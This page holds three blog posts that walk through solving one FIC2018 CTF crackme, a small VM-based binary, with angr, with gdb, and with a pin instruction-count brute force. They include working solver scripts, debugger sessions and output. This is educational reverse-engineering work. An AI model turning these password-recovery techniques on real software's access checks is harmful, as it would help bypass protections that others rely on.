dimanche 28 janvier 2018

Solving a CTF chall the [crazy|OMG] way (FIC2018)

This is the third blogpost about the same crackme, you can read the first two ones here:
This time, an extremely simple solution. You thought that pin was almost cheating? Get prepared to see worse.

1/ Basic recon

mitsurugi@dojo:~/chall/FIC2018/v24$ ls -l a.out 
-rwxr-xr-x 1 mitsurugi mitsurugi 15568 janv. 24 14:30 a.out
mitsurugi@dojo:~/chall/FIC2018/v24$ strings a.out 
/lib64/ld-linux-x86-64.so.2
libc.so.6
exit
read
malloc
__libc_start_main
write
free
__gmon_start__
GLIBC_2.2.5
tPHc
fffff.
[]A\A]A^A_
;*3$"
FAILEDnWINnENTER PASS :              //look this line
 (... snip snip snip ...)
mitsurugi@dojo:~/chall/FIC2018/v24$

So, we imagine that FAILED means fail and WIN is the winning message, right?

That's all we need to know! 
Yes. gdb? nope. asm? nope. reversing capabilities? nope. Lazinest? A lot.

2/ Hey, you like surprises and python?

you know angr, right? If not, check this awesome program. It can explore binaries, instrument them, modify them on the fly, explore all paths, and all by itself!

It blews my minds me on this:

#! /usr/bin/env python
# You are not judged because you fall. 
# You are judged by the way you get up after a fall.
#                          0xMitsurugi

import angr, datetime

print "Starting"
start = datetime.datetime.now()
#Loading the binary
proj = angr.Project('./a.out')
#Create a simulation manager
simgr = proj.factory.simgr()
#We search the word WIN somewhere in the file descriptor 1 (standard output)
simgr.explore(find=lambda s: "WIN" in s.posix.dumps(1))

#angr works hard here ...

#Let's see which input produce a 'WIN' in output
s = simgr.found[0]
# file descriptor 0 is standard input
flag = s.posix.dumps(0)

print "The flag is: %s " % flag
#At least we know this challenge is buggy..
print "\nWe know this challenge is bugged :("
print "Flag in hex is: %s" % (flag.encode('hex'))
end = datetime.datetime.now()
print "Time used: %s" % (end - start)

Basically we tell angr to open the binary, and explore it (like fuzzing, but better :) ) until it found the word "WIN" in the standard output. And then, we print the standard input which generates this output. Sounds crazy?

And, as you guess, in only 7 minutes, without any prior knowledge:

mitsurugi@dojo:~/chall/FIC2018/v24$ ./solver.py 
Starting
The flag is: iWaseMyTime 

We know this challenge is bugged :(
Flag in hex is: 6957617300654d7954696d65
Time used: 0:07:22.198219
mitsurugi@dojo:~/chall/FIC2018/v24$

Without the bug, angr would have found the good flag, but it remains impressive: the angr solution works. The only thing to know is that the binary prints WIN for victory, which could be found with a strings command..

Ready? Prepare yourself!
0xMitsurugi

Solving a CTF chall the [hard|good] way (FIC2018)

Hope you liked my last blogpost http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-easylazy-way-fic2018.html , this is the same binary, with a different analysis.

This crackme is simple enough to use it for learning purpose. I'm taking it for another round of reversing. This time, it's gdb-fu! In the CTF, this was my first approach, but pin was faster :-)

1/ Basics

We remember the function name, vm_xor and vm_cmp. Other function looks more like standard operation (JNZ, JMP, call, and so on).
The binary is not stripped, and we see a variable called 'regs'. We guess that's the registers of the VM. While running under gdb, we can print their contents with x/8wx &regs


2/ XOR part

In gdb, we have breakpoints, and we can execute commands at each breakpoints. We'll break at vm_xor, and see what's happening. I don't use any gdbinit scripts because it's a VM, and my gdbscripts are meant to be used in conjunction with known CPUs (ARM/Intel). The goal here is to count how many times the vm_xor function is called, and see if we can gain some insights of what is going on:

mitsurugi@dojo:~/chall/FIC2018/v24$ gdb -q -nx ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
(gdb) b * vm_xor 
Breakpoint 1 at 0x400c9e
(gdb) commands 
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>echo vm_xor is called\n
>c
>end
(gdb) r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out 
ENTER PASS :first try

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
FAILEDn[Inferior 1 (process 4165) exited normally]
(gdb) r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out 
ENTER PASS :1

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor ()
vm_xor is called
FAILEDn[Inferior 1 (process 4169) exited normally]
(gdb) 

Ok, so we understand that vm_xor is called 12 times, whichever the size of the PASS is.

We hope now that vm_xor will works like the XOR: it takes two args from registers. Let's inspect this:

(gdb) commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>x/8wx &regs
>c
>end
(gdb) r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out 
ENTER PASS :123456ABCDEF

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000f2 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x0000014b 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000f3 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000156 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000f4 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000161 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000f5 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x0000016c 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000f6 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000177 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000f7 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000182 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000f8 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x0000018d 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000f9 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000198 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000fa 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x000001a3 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000fb 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x000001ae 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000fc 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x000001b9 0x00603010 0x00000000

Breakpoint 1, 0x0000000000400c9e in vm_xor ()
0x602900 <regs>: 0x000000fd 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x000001c4 0x00603010 0x00000000
FAILEDn[Inferior 1 (process 4291) exited normally]
(gdb)

Ok, so we don't see any of our PASS in register. The first one seems to progress one by one, and the 6th one makes progression. It could be relative address, or offset, or anything. Let dive into the vm_xor function. It must have an XOR operation, and it could be interesting to see the operands of the command:

(gdb) disassemble vm_xor 
Dump of assembler code for function vm_xor:
   0x0000000000400c9e <+0>: mov    0x201c70(%rip),%eax        # 0x602914 <regs+20>
   0x0000000000400ca4 <+6>: lea    0x1(%rax),%edx
   0x0000000000400ca7 <+9>: mov    %edx,0x201c67(%rip)        # 0x602914 <regs+20>
   0x0000000000400cad <+15>: movslq %edx,%rdx
   0x0000000000400cb0 <+18>: mov    0x601440(%rdx),%dl
   0x0000000000400cb6 <+24>: cmp    $0xab,%dl
   0x0000000000400cb9 <+27>: jne    0x400cf0 <vm_xor+82>
   0x0000000000400cbb <+29>: lea    0x2(%rax),%edx
   0x0000000000400cbe <+32>: add    $0x3,%eax
   0x0000000000400cc1 <+35>: mov    %eax,0x201c4d(%rip)        # 0x602914 <regs+20>
   0x0000000000400cc7 <+41>: cltq   
   0x0000000000400cc9 <+43>: movslq %edx,%rdx
   0x0000000000400ccc <+46>: movzbl 0x601440(%rax),%eax
   0x0000000000400cd3 <+53>: movzbl 0x601440(%rdx),%edx
   0x0000000000400cda <+60>: mov    0x602900(,%rax,4),%eax
   0x0000000000400ce1 <+67>: movslq 0x602900(,%rdx,4),%rdx
   0x0000000000400ce9 <+75>: xor    %al,0x601440(%rdx)         //HERE
   0x0000000000400cef <+81>: retq   
   0x0000000000400cf0 <+82>: cmp    $0xbb,%dl
   0x0000000000400cf3 <+85>: jne    0x400d27 <vm_xor+137>
   0x0000000000400cf5 <+87>: lea    0x2(%rax),%edx
   0x0000000000400cf8 <+90>: add    $0x3,%eax
   0x0000000000400cfb <+93>: mov    %eax,0x201c13(%rip)        # 0x602914 <regs+20>
   0x0000000000400d01 <+99>: cltq   
   0x0000000000400d03 <+101>: movslq %edx,%rdx
   0x0000000000400d06 <+104>: movzbl 0x601440(%rdx),%edx
   0x0000000000400d0d <+111>: movslq 0x602900(,%rdx,4),%rcx
   0x0000000000400d15 <+119>: mov    0x601440(%rcx),%dl
   0x0000000000400d1b <+125>: xor    0x601440(%rax),%dl         //and HERE 
   0x0000000000400d21 <+131>: mov    %dl,0x601440(%rcx)
   0x0000000000400d27 <+137>: retq   
End of assembler dump.
(gdb)

Easy, disable breakpoint 1, and create two more:

(gdb) disable 1
(gdb) b * 0x0000000000400ce9
Breakpoint 2 at 0x400ce9
(gdb) commands
Type commands for breakpoint(s) 2, one per line.
End with a line saying just "end".
>echo first XOR in vm_xor\n
>info reg al
>x/x 0x601440+$rdx
>c
>end
(gdb) b * 0x0000000000400d1b
Breakpoint 3 at 0x400d1b
(gdb) commands
Type commands for breakpoint(s) 3, one per line.
End with a line saying just "end".
>echo second XOR in vm_func\n
>x/x 0x601440+$rax
>info reg dl
>c
>end
(gdb) r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out 
ENTER PASS :ABCDEF123456

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x60158e <g_data+334>: 0x13
dl             0x41 65                    //seems our key

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x601599 <g_data+345>: 0x37
dl             0x42 66                    //Yup it is

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015a4 <g_data+356>: 0xd3                  //So this one is the xor key
dl             0x43 67

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015af <g_data+367>: 0x3d
dl             0x44 68

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015ba <g_data+378>: 0xc0
dl             0x45 69

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015c5 <g_data+389>: 0xde
dl             0x46 70

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015d0 <g_data+400>: 0xab
dl             0x31 49

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015db <g_data+411>: 0xad
dl             0x32 50

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015e6 <g_data+422>: 0x1d
dl             0x33 51

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015f1 <g_data+433>: 0xea
dl             0x34 52

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x6015fc <g_data+444>: 0x13
dl             0x35 53

Breakpoint 3, 0x0000000000400d1b in vm_xor ()
second XOR in vm_func
0x601607 <g_data+455>: 0x37
dl             0x36 54
FAILEDn[Inferior 1 (process 4575) exited normally]
(gdb) 

Well, only the second XOR is used, but it's not really important at this point. The important point is to see that each of our PASS has been XORed with a constant string (you can repeat to veroify this).

So, we have an XOR key, if we copy it we have: 1337d33dc0deabad1dea1337

(1337d33dc0de?? 1337d34dc0de would have sound better, I think. Another bug? ^_^ )

Now we have to find the expected solution, because PASS^key=solution and with simple math, we can say that: PASS = key ^ solution.

3/ CMP part

Well, we use the same technics. Let's break on vm_cmp and see what happens in registers:

(gdb) disable 2
(gdb) disable 3
(gdb) b * vm_cmp 
Breakpoint 4 at 0x400852
(gdb) commands 
Type commands for breakpoint(s) 4, one per line.
End with a line saying just "end".
>x/8wx &regs
>c
>end
(gdb) r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out 
ENTER PASS :123456ABCDEF

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x00000022 0x0000007a 0x00000005 0x00000060
0x602910 <regs+16>: 0x00000000 0x000001eb 0x00603010 0x00000000
FAILEDn[Inferior 1 (process 4746) exited normally]
(gdb) 
(gdb) r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out 
ENTER PASS :ABCDEF123456

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x00000052 0x0000007a 0x00000075 0x00000060
0x602910 <regs+16>: 0x00000000 0x000001eb 0x00603010 0x00000000
FAILEDn[Inferior 1 (process 4751) exited normally]
(gdb) 

Interesting. We see that register 1 changes, and register 2 stays the same.
One more check, because the key is 1337d33dc0deabad1dea1337:
  •  '1' XOR '0x13' => 0x22
  •  'A' XOR '0x13' => 0x52
So, we know that register 1 is PASS XOR key and register 2 is solution.

But, have you spotted something else really weird?

Register 3 changes too!!
And it don't take a lot of time to understand that register 3 holds the "PASS XOR key":
  •  '2' XOR '0x37' => 0x05
  •  'B' XOR '0x37' => 0x75
We know how to extract all bytes of the solution.
Once again, we use the gdb commands function to force register to have the good values, and let print this value.

(gdb) commands
Type commands for breakpoint(s) 4, one per line.
End with a line saying just "end".
>x/8wx &regs
>set *(char *) 0x602900 = *0x602904
>set *(char *) 0x602908 = *0x60290c
>c
>end
(gdb) r 
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out 
ENTER PASS :123456123456

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x00000022 0x0000007a 0x00000005 0x00000060
0x602910 <regs+16>: 0x00000000 0x000001eb 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x0000007a 0x0000007a 0x00000060 0x00000060
0x602910 <regs+16>: 0x00000000 0x000001f5 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x000000e0 0x000000b2 0x00000009 0x0000004e
0x602910 <regs+16>: 0x00000000 0x0000021b 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x000000b2 0x000000b2 0x0000004e 0x0000004e
0x602910 <regs+16>: 0x00000000 0x00000225 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x000000f5 0x000000b4 0x000000e8 0x000000bb
0x602910 <regs+16>: 0x00000000 0x00000255 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x0000009a 0x000000e6 0x0000009f 0x000000d4
0x602910 <regs+16>: 0x00000000 0x0000027b 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x000000e6 0x000000e6 0x000000d4 0x000000d4
0x602910 <regs+16>: 0x00000000 0x00000285 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x0000002e 0x00000049 0x000000de 0x00000083
0x602910 <regs+16>: 0x00000000 0x000002ab 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x00000049 0x00000049 0x00000083 0x00000083
0x602910 <regs+16>: 0x00000000 0x000002b5 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x00000026 0x0000007e 0x00000001 0x00000052
0x602910 <regs+16>: 0x00000000 0x000002db 0x00603010 0x00000000

Breakpoint 4, 0x0000000000400852 in vm_cmp ()
0x602900 <regs>: 0x0000007e 0x0000007e 0x00000052 0x00000052
0x602910 <regs+16>: 0x00000000 0x000002e5 0x00603010 0x00000000
WINn[Inferior 1 (process 5104) exited with code 0377]
(gdb)


Ok, job done, we just have to copy bytes from register 2 and 4. vm_cmp has two times two bytes to compare, but function is called twice. I really should dig inside this func to understand how this work :)

solution is: 7a60b24eb4bbe6d449837e52

4/ Victory


#! /usr/bin/python
# First you have to be hit to know how to defend.
#                                     0xMitsurugi

key='1337d33dc0deabad1dea1337'.decode('hex')
sol='7a60b24eb4bbe6d449837e52'.decode('hex')

sol=[]
for i in range(len(sol)):
    c=chr(ord(sol[i]) ^ ord(key[i]))
    sol.append(c)

print ''.join(sol)

And without any surprise:

mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.py 
iWasteMyTime
mitsurugi@dojo:~/chall/FIC2018/v24$

Job done, time to drink beer for victory.
I have not failed 700 times, I have not failed once.
I have succeeded in proving those 700 ways will not work.
When I have eliminated the ways that will not work,
I will find the way that will work 
0xMitsurugi

vendredi 26 janvier 2018

Solving a CTF chall the [easy|lazy] way (FIC2018)

During the FIC2018, there was a CTF. One of the challenge was reverse, and we were given an a.out file.

1/ First steps:


mitsurugi@dojo:~/chall/FIC2018/v24$ ls -l a.out
-rwxr-xr-x 1 mitsurugi mitsurugi 15568 Jan 24 14:30 a.out
mitsurugi@dojo:~/chall/FIC2018/v24$ file a.out 
a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4cde05f176c1b36218ba56a4f1fb1249ad1a8c1b, not stripped
mitsurugi@dojo:~/chall/FIC2018/v24$ ./a.out 
ENTER PASS :aaaa
FAILEDnmitsurugi@dojo:~/chall/FIC2018/v24$ 

Ok, so it's a crackme. Let's toy a little bit with it:

mitsurugi@dojo:~/chall/FIC2018/v24$ ./a.out 
ENTER PASS ::aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
FAILEDnmitsurugi@dojo:~/chall/FIC2018/v24$ aaaaaaaaaaaaaaaaaaaa
bash: aaaaaaaaaaaaaaaaaaaa: command not found
mitsurugi@dojo:~/chall/FIC2018/v24$

Weird. It seems that it take only 12 chars in consideration:
mitsurugi@dojo:~/chall/FIC2018/v24$ ./a.out 
ENTER PASS :123456123456abcde
FAILEDnmitsurugi@dojo:~/chall/FIC2018/v24$ abcde
bash: abcde: command not found
mitsurugi@dojo:~/chall/FIC2018/v24$

Ok, time to dig in:

mitsurugi@dojo:~/chall/FIC2018/v24$ nm -A a.out 
a.out:00000000006011c8 d _DYNAMIC
a.out:00000000006013a0 d _GLOBAL_OFFSET_TABLE_
a.out:0000000000400ee0 R _IO_stdin_used
a.out:                 w _ITM_deregisterTMCloneTable
a.out:                 w _ITM_registerTMCloneTable
a.out:                 w _Jv_RegisterClasses
a.out:00000000004011a8 r __FRAME_END__
a.out:00000000006011c0 d __JCR_END__
a.out:00000000006011c0 d __JCR_LIST__
a.out:00000000006028e0 D __TMC_END__
a.out:00000000006028e0 B __bss_start
a.out:0000000000601400 D __data_start
a.out:0000000000400650 t __do_global_dtors_aux
a.out:00000000006011b8 t __do_global_dtors_aux_fini_array_entry
a.out:0000000000601408 D __dso_handle
a.out:00000000006011b0 t __frame_dummy_init_array_entry
a.out:                 w __gmon_start__
a.out:00000000006011b8 t __init_array_end
a.out:00000000006011b0 t __init_array_start
a.out:0000000000400ed0 T __libc_csu_fini
a.out:0000000000400e60 T __libc_csu_init
a.out:                 U __libc_start_main@@GLIBC_2.2.5
a.out:00000000006028e0 D _edata
a.out:0000000000602920 B _end
a.out:0000000000400ed4 T _fini
a.out:0000000000400488 T _init
a.out:000000000040059e T _start
a.out:00000000006028e0 b completed.6661
a.out:0000000000601400 W data_start
a.out:00000000004005d0 t deregister_tm_clones
a.out:                 U exit@@GLIBC_2.2.5
a.out:00000000006028f0 B flags
a.out:0000000000400670 t frame_dummy
a.out:                 U free@@GLIBC_2.2.5
a.out:0000000000601440 D g_data
a.out:0000000000400530 T main
a.out:                 U malloc@@GLIBC_2.2.5
a.out:                 U read@@GLIBC_2.2.5
a.out:0000000000400610 t register_tm_clones
a.out:0000000000602900 B regs
a.out:0000000000602918 B stack
a.out:0000000000400ab9 t vm_add
a.out:0000000000400bed t vm_and
a.out:0000000000400798 t vm_cll
a.out:0000000000400852 t vm_cmp
a.out:0000000000400d28 t vm_ecl
a.out:0000000000602800 D vm_func
a.out:0000000000400963 t vm_jmp
a.out:0000000000400a40 t vm_jnz
a.out:00000000004009c7 t vm_jzz
a.out:0000000000400697 t vm_mov
a.out:0000000000400b6a t vm_mvp
a.out:0000000000400799 t vm_psh
a.out:0000000000400696 t vm_ret
a.out:0000000000400c9e t vm_xor
a.out:                 U write@@GLIBC_2.2.5
mitsurugi@dojo:~/chall/FIC2018/v24$

That's really, really interesting. Function names let think this is a VM. The function vm_xor leads us to imagine that the input will be XORED, then compared, thanks to vm_cmp function.

We have two ways for solving this:

  1. bruteforce solution
  2. doing it in a clean way

This is a CTF, lets work dirty.

2/ Straight to the winning point

The strategy is this one: let try by bruteforce any character and count how many instructions this program will do before saying the password is bad. If we have one (or more) good characters, the program will run longer to check other characters. Easy.

pin is a program which can count instructions. The inscount library is in the source tree. Inscount can count how many instructions a program will compute during its lifetime. Compile it, and use it.

mitsurugi@dojo:~/chall/FIC2018/v24$ ./pin-3.5-97503-gac534ca30-gcc-linux/pin -t pin-3.5-97503-gac534ca30-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so -- ./a.out
ENTER PASS :aaaa
mitsurugi@dojo:~/chall/FIC2018/v24$ cat inscount.out 
Count 191674
mitsurugi@dojo:~/chall/FIC2018/v24$ ./pin-3.5-97503-gac534ca30-gcc-linux/pin -t pin-3.5-97503-gac534ca30-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so -- ./a.out
ENTER PASS :bbbb
mitsurugi@dojo:~/chall/FIC2018/v24$ cat inscount.out 
Count 191674
mitsurugi@dojo:~/chall/FIC2018/v24$

Ok, two wrong password use the same numbers of instructions.

This is the shell script:

#! /bin/bash
# If there is a will, there is a way
#                        0xMitsurugi

pass=$1

for char in a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H J K L M N O P Q R S T U V W X Y Z
do
  ./pin-3.5-97503-gac534ca30-gcc-linux/pin -t pin-3.5-97503-gac534ca30-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so -- ./a.out <<< $pass$char
  cat inscount.out | tr -d '\n'
  echo "  "$pass$char
done


Let's industrialize it:

mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh
ENTER PASS :FAILEDnCount 191674  a
ENTER PASS :FAILEDnCount 191674  b
ENTER PASS :FAILEDnCount 191674  c
ENTER PASS :FAILEDnCount 191674  d
ENTER PASS :FAILEDnCount 191674  e
ENTER PASS :FAILEDnCount 191674  f
ENTER PASS :FAILEDnCount 191674  g
ENTER PASS :FAILEDnCount 191675  h
ENTER PASS :FAILEDnCount 191964  i
ENTER PASS :FAILEDnCount 191674  j
ENTER PASS :FAILEDnCount 191674  k
ENTER PASS :FAILEDnCount 191675  l
ENTER PASS :FAILEDnCount 191675  m
ENTER PASS :FAILEDnCount 191675  n
ENTER PASS :FAILEDnCount 191675  o
ENTER PASS :FAILEDnCount 191674  p
ENTER PASS :FAILEDnCount 191674  q
ENTER PASS :FAILEDnCount 191674  r
ENTER PASS :FAILEDnCount 191690  s
ENTER PASS :FAILEDnCount 191674  t
ENTER PASS :FAILEDnCount 191674  u
ENTER PASS :FAILEDnCount 191674  v
ENTER PASS :FAILEDnCount 191674  w
ENTER PASS :FAILEDnCount 191674  x
ENTER PASS :FAILEDnCount 191674  y
ENTER PASS :FAILEDnCount 191674  z
ENTER PASS :FAILEDnCount 191674  A
ENTER PASS :FAILEDnCount 191674  B
ENTER PASS :FAILEDnCount 191674  C
ENTER PASS :FAILEDnCount 191674  D
ENTER PASS :FAILEDnCount 191674  E
ENTER PASS :FAILEDnCount 191674  F
ENTER PASS :FAILEDnCount 191674  G
ENTER PASS :FAILEDnCount 191674  H
ENTER PASS :FAILEDnCount 191674  J
ENTER PASS :FAILEDnCount 191674  K
ENTER PASS :FAILEDnCount 191674  L
ENTER PASS :FAILEDnCount 191674  M
ENTER PASS :FAILEDnCount 191674  N
ENTER PASS :FAILEDnCount 191690  O
ENTER PASS :FAILEDnCount 191674  P
ENTER PASS :FAILEDnCount 191674  Q
ENTER PASS :FAILEDnCount 191674  R
ENTER PASS :FAILEDnCount 191674  S
ENTER PASS :FAILEDnCount 191674  T
ENTER PASS :FAILEDnCount 191674  U
ENTER PASS :FAILEDnCount 191674  V
ENTER PASS :FAILEDnCount 191674  W
ENTER PASS :FAILEDnCount 191674  X
ENTER PASS :FAILEDnCount 191674  Y
ENTER PASS :FAILEDnCount 191674  Z
mitsurugi@dojo:~/chall/FIC2018/v24$

It seems that we have some artefacts (???). Let's reduce the output by taking the biggest numbers only, and iterate until we got the solution:

mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh | sort | tail -3
ENTER PASS :FAILEDnCount 191690  Q
ENTER PASS :FAILEDnCount 191690  f
ENTER PASS :FAILEDnCount 191964  i
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh i | sort | tail -3
ENTER PASS :FAILEDnCount 191981  iZ
ENTER PASS :FAILEDnCount 191993  iS
ENTER PASS :FAILEDnCount 192931  iW
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iW | sort | tail -3
ENTER PASS :FAILEDnCount 192931  iWo
ENTER PASS :FAILEDnCount 192946  iWO
ENTER PASS :FAILEDnCount 193218  iWa
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWa | sort | tail -3
ENTER PASS :FAILEDnCount 193221  iWao
ENTER PASS :FAILEDnCount 193221  iWar
ENTER PASS :FAILEDnCount 194724  iWas           //it looks like an english sentence
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWas | sort | tail -3
ENTER PASS :FAILEDnCount 194724  iWasx
ENTER PASS :FAILEDnCount 194724  iWasy
ENTER PASS :FAILEDnCount 194724  iWasz          //??? Maybe not
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWasz | sort | tail -3
ENTER PASS :FAILEDnCount 194739  iWaszR
ENTER PASS :FAILEDnCount 194739  iWaszn
ENTER PASS :FAILEDnCount 195689  iWasze
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWasze | sort | tail -3
ENTER PASS :FAILEDnCount 195690  iWaszeY
ENTER PASS :FAILEDnCount 195690  iWaszeZ
ENTER PASS :FAILEDnCount 195979  iWaszeM
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWaszeM | sort | tail -3
ENTER PASS :FAILEDnCount 195980  iWaszeMz
ENTER PASS :FAILEDnCount 195995  iWaszeMn
ENTER PASS :FAILEDnCount 196945  iWaszeMy
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWaszeMy | sort | tail -3
ENTER PASS :FAILEDnCount 196962  iWaszeMye
ENTER PASS :FAILEDnCount 196962  iWaszeMym
ENTER PASS :FAILEDnCount 197236  iWaszeMyT
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWaszeMyT | sort | tail -3
ENTER PASS :FAILEDnCount 197236  iWaszeMyTz
ENTER PASS :FAILEDnCount 197264  iWaszeMyTE
ENTER PASS :FAILEDnCount 198201  iWaszeMyTi
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWaszeMyTi | sort | tail -3
ENTER PASS :FAILEDnCount 198201  iWaszeMyTiz
ENTER PASS :FAILEDnCount 198202  iWaszeMyTil
ENTER PASS :FAILEDnCount 198491  iWaszeMyTim
mitsurugi@dojo:~/chall/FIC2018/v24$ ./crack.sh iWaszeMyTim | sort | tail -3
ENTER PASS :FAILEDnCount 198492  iWaszeMyTimn
ENTER PASS :FAILEDnCount 198492  iWaszeMyTimo
ENTER PASS :WINnCount 195256  iWaszeMyTime
mitsurugi@dojo:~/chall/FIC2018/v24$

